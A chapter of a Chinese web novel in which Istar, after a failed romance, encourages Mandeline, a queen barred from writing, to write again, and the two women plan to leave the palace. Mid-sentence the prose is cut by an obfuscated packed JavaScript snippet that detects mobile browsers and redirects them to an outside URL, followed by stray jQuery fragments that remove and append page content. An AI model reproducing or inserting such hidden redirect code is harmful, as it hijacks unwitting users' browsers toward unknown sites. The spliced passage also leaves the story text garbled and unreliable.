伊斯特地第一反应其实是提剑砍上去。


    「求求你不要，冷静冷静，」系统快疯了，「我们留着他好吗，万一后面有机会呢——你不懂，很多追妻火葬场的小说开篇就这样。」


    「你才不懂，他觉得他在自我牺牲。」伊斯特气极反笑，「他觉得这种牺牲是为了我好，所以接下来越痛苦，他潜意识里就会越接受。」


    「还是求求你不要，」系统换了个角度，「你打不过他。」


    也是。


    伊斯特深吸一口气，瞪了攻略失败的男人一眼，转身就走。


    「天杀的白骑士人格，第一眼怎么没看出来这家伙这么扭曲。」她恨恨地想，「我们没完。」


    她一路出去了，把石板踩得咔咔作响，丢下一句“去皇宫”就上了马车，把令牌拍在侍卫眼前，然后一路冲到了曼德琳那里。


    「求求你不要。」系统察觉到她的想法，今天第三次求她了，「不要自暴自弃啊，求求你了。」


    「反正洛兰特的线都要重打，我试一下怎么你了？大不了两边一起重来。」


    系统语气里透露着绝望：「我们稳扎稳打行吗？你现在这个情绪不适合，真的。」


    「谁跟你是我们。」


    曼德琳的房门被敲开了，女人惊讶地看着发丝凌乱、双目发红的伊斯特；后者几乎是扑进了她的房间，开口时嗓音微微发哑。


    “你有酒吗？”伊斯特的语气还是那种随性、不在乎的模样，却不知为何比平时多了一些实感，“为我开一瓶呗？”


    ＊


    “就这样，他的原话，’会过去的‘。”


    伊斯特说完最后一句话，把自己那杯酒一饮而尽。


    系统已经放弃了一开始的劝阻，转为在她脑子里一声又一声叹气，似乎想不明白为什么她要让之前的所有努力同归于尽。


    曼德琳抿了一口酒。


    “恭喜你。”


    女人的神情很淡，几乎没有表情了；她赤红的长发，她白皙的肌肤，她琥珀色的双眼，全都泛着一层淡淡的、泛着死气的冷光——就好像已经人生一眼看到头了，那种不抱任何希望的，既洒脱又压抑的矛盾感。


    她的语气是真心实意的恭喜，仿佛人人都走的路上有一个坑洞，而伊斯特绕过了它。


    伊斯特心念一动。


    “你羡慕我？为什么？”虽然是提问，但她的语气放得很轻很缓，几乎算得上柔和了，“因为我差点踏入婚姻殿堂但是被拒绝了？”


    “为什么会这么推测？”曼德琳笑了，“你觉得我不喜欢自己的婚姻？”


    伊斯特诚实地点了点头：“对，我觉得。”


    “为什么？”


    “因为你不开心。”


    “我为什么会开心？”曼德琳反问道，“你知道曼德琳·霍尔是谁吗？”


    女人笑得前所未有地明媚：“她是个作家，她写书，她致力于宗教改革，她希望能简化繁琐的现有仪式，强调因信称义而非教会权威。”


    “她的书写了大半，快要完成的时候，她接到通知，说在一众交上去的画像和名单里，皇帝觉得你最合适；所以再婚的人选定的是你，你开心吧，荣幸吧，收拾收拾准备成为皇后吧。”


    “你知道讽刺的是什么吗？霍尔家为我写的介绍——‘有文学素养’，他们知道我在写东西；等到这个所谓的加分项给我带来了新身份，我却因为它一个字都不能发表了。”


    “我有什么好不接受的？不就是必须放弃引以为豪的事业吗？不就是后半生都要住进陌生地方直到死吗？不就是要丢掉自己的名字，自己的未来，自己的可能性，在历史里记录为某个君主的第二任皇后吗？”


    “和皇帝一时兴起的选择相比，这都多么微不足道啊！”曼德琳大笑出声，“他说是你，那就是你，你是这句话的宾语，你没有选择权。”


    女人猛地站起来，欺身靠近伊斯特。由于长而激烈的叙述，她的脸颊带上了绯红色。


    “你又是在做什么？一次又一次地来，你以为我是谁？你同情我？可怜我？施舍我？”


    有一瞬间，房间里什么声音都没有，接着，伊斯特平静地开口了：“我敬佩你。”


    就好像火焰熊熊燃烧的声音熄了下去，曼德琳骤地沉默了。霍尔宅邸里那本尘封的、手写的原稿好像还在眼前，伊斯特浑然不觉地接着说道：


    “我看过那本未出版的书。我是你的读者。”


    曼德琳仰着头，又想笑又想哭似的，苦涩地望着她。


    “……我已经很久没有写任何东西了。”


    ＊


    伊斯特敲响了门。


    她能感觉到门后的人在犹豫，在纠结，在斟酌到底要不要开门。最后，吱呀一声，曼德琳出现在门后。


    女人看着她：“我以为你不会来了——”


    伊斯特打断了对方：“这是笔。”


    她往曼德琳手里塞了一只钢笔，墨刚吸好。


    “这是纸。”


    她接着掏出一个小本子，一同按在女人手上。


    “这是我能买到最小的本子。”她以一种果断的态度快速说道，“就算没有口袋，你可以把它藏到袖子里——没错我破解了你那天的魔术——就像你藏给我的令牌一样。”


    “这支笔很好写，来之前我试过，很顺滑。你随时可以开始写，如果有不让你这么做的人经过，为了不被他看见，你就把它们藏起来——”


    她的话没说完，因为曼德琳一把抱住了她。


    女人把头埋在她肩膀上，发丝搭上她的锁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886430|192025||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骨，弄得痒痒的；她能感觉到睫毛扫过自己脖颈间，然后从那片琥珀色里，有什么东西涌了出来，浸湿了她的肌肤。


    ＊


    再下一次去看曼德琳的时候，还没敲，门就自己打开了。


    门后不是当朝皇后，不是曼德琳·墨罗温，也不是曼德琳·霍尔。


    门后只是曼德琳而已。


    她长长的盘发不见了，层层叠叠的布料和首饰也不见了；取而代之的是剪短了的头发，和一条长裙。随着她的动作，几缕红发从颈侧倾洒下来，被烛火映出一种暖橘光芒，看上去澄净又自在，好像不会被什么拽住了。


    “我以前就是短发，”曼德琳轻声解释道，“进宫之后，他们说盘发才得体，于是我被迫留长了。”


    她牵起伊斯特的手，“你知道吗，我幼年时来过一次皇宫。好像是在某个庆典上，当时，我觉得这里好繁华，好庄重，美得不像样。”


    伊斯特反握住她的手腕。在那层薄薄的肌肤之下，曼德琳的脉搏强健有力，战鼓一样急促，好像要冲破什么。周遭似乎也升起了某种隐隐的、血脉似的震响，一下一下地搏动着。


    “后来觉得这里好恐怖，规矩好恐怖，人也好恐怖。我最害怕的就是和别人共处一室，因为盯着我的不是眼睛，是时刻等着挑出错处的耳目；被盯着的也不是我自己，是一个我不认识，也不想认的东西。”


    曼德琳说着，被自己逗笑了，“有段时间，我什么都不敢做，害怕受罚。眼睛睁着的时候，我期盼入眠；在睡梦中，我又希望第二天不要醒来。”


    伊斯特被她牵着，一路走出走廊，沿着花园小径，往外迈步。春日的晚风卷着飘散的柳絮，拂过她们的脸，鼓荡起曼德琳宽大的袖子和裙摆。


    “现在呢？”她问道。


    牵着她的女人深吸了一口新鲜空气，再开口时，嗓音又平静又畅快。


    “……现在我不害怕了。”


    曼德琳穿着那件波西米亚裙，对她笑了一下。


    宽松的裙子，流苏，踝骨，风吹起的短发。


    困住她的笼子好像消失不见了。


    “我们走吧，一路远去，去遥远的某个地方，没有人能找到我们。我们可以买一间带花圃的小房子，把你的骗人种子种下去，然后每天检查门口的信箱——它很快就会满，因为我要把书稿寄给那里的每家报行、每个出版社。”


    她们越走越快，越走越快，已经接近小跑了。在几步之遥的地方，一辆马车静静立着。


    “又或者我们可以旅行，到每个地方都停留一段时间，收集新鲜的东西，全部装在一个大大的帆布袋里。我一点经验都没有，所以你要负责买船票。”


    曼德琳回过头，对她嫣然一笑。


    “我们去看海吧。”